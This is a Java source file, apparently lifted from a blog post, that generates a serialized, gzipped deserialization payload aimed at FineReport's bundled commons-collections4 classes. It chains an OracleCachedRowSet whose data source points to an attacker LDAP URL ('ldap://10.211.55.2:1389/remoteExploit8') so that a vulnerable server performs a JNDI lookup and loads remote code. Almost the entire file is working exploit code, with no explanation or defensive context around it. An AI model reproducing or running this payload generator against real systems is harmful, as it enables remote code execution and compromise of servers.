1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
| package org.unam4;
import oracle.jdbc.rowset.OracleCachedRowSet;
import org.apache.arrow.vector.util.JsonStringArrayList;
import sun.misc.Unsafe;
import sun.reflect.ReflectionFactory;
import java.io.*;
import java.lang.reflect.*;
import java.util.Map;
import java.util.Vector;
import java.util.zip.GZIPOutputStream;
public class ceshi {
public static void main(String[] args) throws Exception{
OracleCachedRowSet oracleCachedRowSet = new OracleCachedRowSet();
Field dataSourceName = OracleCachedRowSet.class.getSuperclass().getDeclaredField("dataSourceName");
dataSourceName.setAccessible(true);
dataSourceName.set(oracleCachedRowSet, "ldap://10.211.55.2:1389/remoteExploit8");
Vector v1 = new Vector();
v1.add(0,"111");
setFieldValue(oracleCachedRowSet, "metaData", new String[]{"111"});
setFieldValue(oracleCachedRowSet, "matchColumnNames", v1);
setFieldValue(oracleCachedRowSet, "matchColumnIndexes", v1);
setFieldValue(oracleCachedRowSet, "monitorLock", null);
JsonStringArrayList objects1 = new JsonStringArrayList();
objects1.add(oracleCachedRowSet);
Map s= (Map) createWithoutConstructor("com.fr.third.org.apache.commons.collections4.map.CaseInsensitiveMap");
utils.setFieldValue(s, "size", 1);
Class<?> nodeB;
try {
nodeB = Class.forName("com.fr.third.org.apache.commons.collections4.map.AbstractHashedMap$HashEntry");
} catch (ClassNotFoundException e) {
nodeB = Class.forName("com.fr.third.org.apache.commons.collections4.map.AbstractHashedMap$HashEntry");
}
Constructor<?> nodeCons = nodeB.getDeclaredConstructor(nodeB,int.class, Object.class, Object.class);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeB, 1);
Array.set(tbl, 0, nodeCons.newInstance(null,0, objects1, "key1"));
setFieldValue(s, "data", tbl);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
GZIPOutputStream gzipOutputStream = new GZIPOutputStream(new FileOutputStream("./ceshi"));
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(s);
byte[] data = byteArrayOutputStream.toByteArray();
gzipOutputStream.write(data);
gzipOutputStream.close();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static Object createWithoutConstructor(String classname) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException {
return createWithoutConstructor(Class.forName(classname));
}
public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes,
Object[] consArgs ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory()
.newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
}
|
/image-20240708201829725.png)
